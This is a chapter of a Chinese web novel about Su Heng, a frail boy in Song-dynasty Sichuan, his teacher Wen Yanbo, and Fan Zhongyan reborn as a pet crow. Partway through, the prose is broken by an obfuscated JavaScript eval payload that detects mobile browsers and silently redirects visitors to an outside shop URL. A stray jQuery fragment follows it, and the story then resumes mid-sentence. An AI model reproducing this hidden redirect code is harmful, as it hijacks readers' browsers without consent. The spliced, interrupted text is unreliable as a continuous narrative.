“多好的孩子,就是体弱,考不了科举了。”

    ……

    有些淬了毒的话伪装成遗憾,非要在当事人面前说出来。

    苏衡跟着师父文彦博愤然离席的时候,一瞬间都有些恍惚。

    他本来以为自己不在意了。

    或许别人也这么以为。

    毕竟他师父文彦博的表现,要比他更激烈,向来待人友善,温润君子一般的人物发这么大的火,反而显得苏衡这个被嘴的当事人十分淡定。

    苏衡他直到被师父彻底带出来,表情都一直淡淡的。

    事发突然,那句话还没从他的耳朵里进去,他人就已经出来了。

    当时他的脑子还在处理从“动物论坛”上看到的,范乌鸦无意识发在帖子里的“主人不在家,吃点虫子应该没事吧”“蚕,好好吃,胖胖的”“红蚯蚓,好好吃,难怪鱼爱吃,我也爱吃”“……”一连串吃播一样的消息。

    虽然苏衡自己也在参加宴会,这赏花宴上送上来的食物也颇多,北宋经济比起它的军事实力来说强大很多,古往今来就是吃货国的华夏,钱富裕后,自然在美食上的钻研也更下功夫。

    吃是好吃的,也很对苏衡的胃口,但参会的这些人颇有些让人倒胃口,勉强算得上秀色可餐、看着不至于食不下咽的,竟然是他们这对坐在最上位的师徒二人组。

    所以出来也不算可惜。

    是好事呢。

    “倒也不用在我面前装的这么成熟,我不是你那两个弟弟。”苏衡没有失落,没有愤怒,十分淡定,但有一种委屈是师父觉得你委屈。

    文彦博的声音在苏衡耳边响起,他是真的很愤怒,哪怕当面就表现了出来,哪怕还没走出门的时候,就听到了说那句话的人惊恐、求原谅的声音,他的愤怒依旧没消解。

    在出来的一路,他都在观察自家徒弟的表情,越看越气。

    正常的少年人,意气风发,父母幸福,家庭托举,还有他这样一个别人遇不到的好师父,听到这样的话应该是气愤的,被生活宠出来的恃宠而骄感在苏衡身上竟然完全看不到!有的只是平静。

    平静接受了?

    文彦博更气了。

    这时候他的小徒弟抬头,像是不知道他为什么这么愤怒一样,惊讶了一瞬,文彦博看着他一副在组织语言的神色,默不作声,等着他,看他要说什么。

    结果。

    “师父,如果我说我早就习惯这件事了呢?嗯……其实我早就知道我身体不好,考不了科举,人家说的也是实话。说来这个朝堂也不好混,哪怕进去了也未必是平步青云,李白这样的人物还被赐金放还了……”

    苏衡说着,看文彦博面无表情的样子,有些担心,有些疑惑,他难道说错话了?

    “虽然我混不了官场,还是可以当个富家翁的,他们当面说一句就说,我也少不了一块肉。”

    文彦博的气场都变压抑了,饶是苏衡想展现自己的淡泊名利,这会儿也知道不是师父想听的话了。

    不应该这么说吗?真说错话了?

    “师父,我不是那种会依赖别人的人,你知道的,我很有能力的。”

    古代的师徒关系,难道不是这样,表现出自己的能力,让师父信任自己吗?

    就算是以真心换真心的模式,自己这样的答案应该也不出错啊?

    苏衡圆溜溜的眼神中茫然都要溢出来了,文彦博伸手按上小孩的脑袋,发出一声叹息。

    “不再依赖师父的话,算师父没用。”

    脑壳被大手压着的苏衡不知道,这会从大门处仓皇跑出来的商人,正好对上文彦博野心勃勃的视线。

    也正好听到他们这段话。

    那句“考不了科举”是多少商人心里的刺,他们和苏衡的问题又不一样,苏衡是有脑子,没身体,他们是有身体,没这个脑子,也曾经是程家的刺,所以程家会和苏家联姻。

    苏洵确实不错,文章不错,虽然科举一直没多大进益,但几个孩子都很聪明,哪怕苏衡身体不行,但苏轼、苏辙也早早表现出明显天赋。

    商人圈子里哪个不羡慕程家,苏家眼看要崛起了,程家完全就是雪中送炭大成功。

    而现在,这个商人更羡慕苏家了,苏衡眼看是“弃子”了,因这番事件,阴差阳错真的把文彦博这个师父的心笼络到苏家了,他要为自己这个徒弟出头了。

    苏家真是有气运啊。

    ……

    “师父说的话究竟是什么意思?”下午的时候,苏衡回到家里,检查了在帖子里库库炫了很多虫子的范乌鸦身体有没有不适后,就开始思考这件事。

    他一边和苏轼、苏辙一起收拾范乌鸦的屎——鸟是直肠子,消化了就拉了,哪怕是乌鸦也控制不了,加上那鸟也没贪多,就是贪个口味,所以没吃坏肚子,就是拉了很多屎。

    此时鸟在自闭,他们在铲屎。

    书童们倒是想帮忙,但是苏家的家风是,听孩子自己的,苏衡想要锻炼自己的动手能力,苏轼、苏辙无脑跟团,大家就这么认认真真地铲屎,并听苏衡讲起了今天的这次“事故”,虽然苏衡觉得是故事。

    苏衡跟弟弟们讲,是想问他们对这件事有什么看法的,虽然还是小孩,但苏衡知道他们不是普通小孩。

    这可是苏轼苏辙!北宋的名人盘点里,永远不会落下的人物!

    没想到。

    “哥!你放心!你以后也可以依赖我!要是你不能依赖我,算弟弟没用!”苏轼听完之后,义愤填膺,眼睛亮晶晶地跟苏衡承诺。

    我依赖你的话……到时候只能跟你一起去海南吃生蚝、椰子鸡,去广西吃荔枝、龙眼了!

    苏衡看着弟弟,倒是没有把泼冷水的话说出来。

    “哥,你也可以依赖我。”年纪小小的苏辙,说这句话的靠谱气息都要溢出来了。

    “啾啾!啾!”范乌鸦也听完了整个故事,他本来是想听一点细节,看这个人,这个地方是在哪里的,但苏衡讲故事一直用“师父”来说,范乌鸦没得到什么有用的信息,但是他听的也怜爱这个孩子了。

    聪慧,有能力,但早早被医师判定不能科举,听他们的话里话外,甚至不是不能支撑科举的奔波,而是考试时候在号舍从早坐到晚,身体都撑不住的那种虚弱。

    加上前段时间见血之后,人立刻晕了过去,缺陷太大,也确实不能在朝堂上混。

    范仲淹也是真心疼上了孩子。

    不过!就算是这样!也不能利用他的庆历政策牟利,更不能妄图造反!

    身体差不是朝堂的问题啊。

    苏衡看着一本正经的两人一鸟,冷不丁笑了,“好好好,我相信你们。”

    真是可爱啊,古人的爱也热烈。

    ——

    文彦博之后在默默努力,他是真觉得自己现在站得不够高,才会有人在自己面前蛐蛐自己的徒弟。

    当然,背后蛐蛐也不行。

    所以他这些天放飞的鸽子变多了,甚至已经得到了来自官家的密信——王则叛乱,涉及的州县有些多,他可以先提前处理好益州的事儿,做好镇压王则的准备了。

    这件事几乎是文彦博从此稳做京官的门槛,他有把握,也已经做好了努力往上爬的准备。

    同时,文彦博也已经在筹备把苏衡的教育任务交付给他的亲爸妈手上的事儿了。

    主要是教育他要依赖大人,信得过的大人,比如父母,比如师父。

    本就被父母宠爱的苏衡,这些时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505033|202886||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    候更是过得相当舒适,就拿养鸟来说,家里已经给他找了好几个鸟师父了。

    而四月也没几天,苏衡和范乌鸦就已经粘糊得超越了普通养鸟人和鸟。

    范乌鸦这只鸟很神奇,时而粘人,时而高冷,粘人的时候站在人身上就是撒娇,发的帖子也都是“啾啾”“嘎嘎”这类无意义的话。

    高冷的时候就很聪明,放飞之后也能自己飞回来,虽然现在飞不过十米,甚至有半路掉下来的风险。

    但孩子劲儿大,翅膀扑棱着,一次都没让自己掉过。

    苏衡这时候甚至有点体会到了自己在老师面前说自己“可以不依赖老师”的时候,老师心理如何了。

    “其实你可以依赖一下我的,我能接住你,而且还有这么多人呢。”苏衡跟范乌鸦说道。

    “其实也不用这么早学飞,鸟师傅们说你还才三个月大,鸟也说你很小,不着急的,我会一直养着你。”

    嘴好甜的小家伙。

    范仲淹很是理智得听完这段话,不为所动,高冷小鸟冷着脸蹭了一下苏衡的脸颊,听到苏衡“可爱小鸡”这的小声惊喜尖叫之后,更加不为所动,只不过站得更直了些。

    哎,小孩就是这样,鸟轻松一贴,他就高兴得忘乎所以了。

    不过范仲淹学飞,是有自己的事儿要做。

    他跟苏衡在这座豪华的院落里住了也有十天了,之所以时间这么长,是他掌握了变鸟的规律。

    情绪激动,就会变鸟。

    所以范仲淹现在把自己平日里小睡的时间都“替换”了,故意让自己更自信、喜悦、失落、愤怒,来变鸟。

    有好有坏,又一次被老婆大人撞见,请来了医师,说他年纪大了,最好不要过度消耗情绪,大喜大悲都不行。

    好处嘛就是,他确实更加喜怒不形于色了,挺好。

    而他这么认真的在变鸟,在学飞,是想了解这里究竟是哪里。

    住了这么多天,范仲淹只知道这里是苏府,当家主母姓程,开了一家程氏酒楼。

    他的这个鸟身的小主人爱种东西,窗前种了棉花,书桌上也摆放了花草,但身体不好,侍弄的时间不能太长。

    关于这里是哪里,他也只从口音判断,像是在川蜀一带。

    很急,川蜀一带,家境很好的小主人,因为身体虚弱的原因,"愤世嫉俗"想要造反。

    范仲淹想早点知道,然后递上自己的橄榄枝,让这个小孩知道,家里当富商就当富商,小孩自己的师父可能没有那么有用,但是他范仲淹是有用的!

    怕小孩嫌弃他一个六旬老翁,还改革失败,甚至推行的政策里有“漏洞”,范仲淹甚至写了给官家的忏悔书,忏悔自己急功近利,连累了信任他的官家。

    并且在和官家分析,如果再次改革,应该怎么办。

    范仲淹性格强势,退让之后,官家也有些好奇,但宋仁宗乐于接受这样的变化,确实有意说再把他范仲淹拉回去了。

    范仲淹看着依旧拿脸蹭自己脸的小屁孩,认真想着。

    等着吧小孩!

    等他重返汴京,到时候把小孩你接到汴京去,什么乡下地方还嫌弃聪明小孩了!

    文彦博也好,范仲淹也好,大家各自有各自的事儿要忙。

    但依旧没学会“依赖”的苏衡,也有了自己要做的事儿,他收到了农场那边传来的消息。

    那里正又来了,是合法的“夏收”。

    “怕是准备再次用那旧尺,这次多收我们的税!”书童逐风很是生气。

    “应该不是,估计有新的手段。”苏衡皱眉,“先睡吧,我们夏收要持续一阵呢,我们过两天就正好要去避暑了。”

    到时候和这里正周旋的时间,定是不少。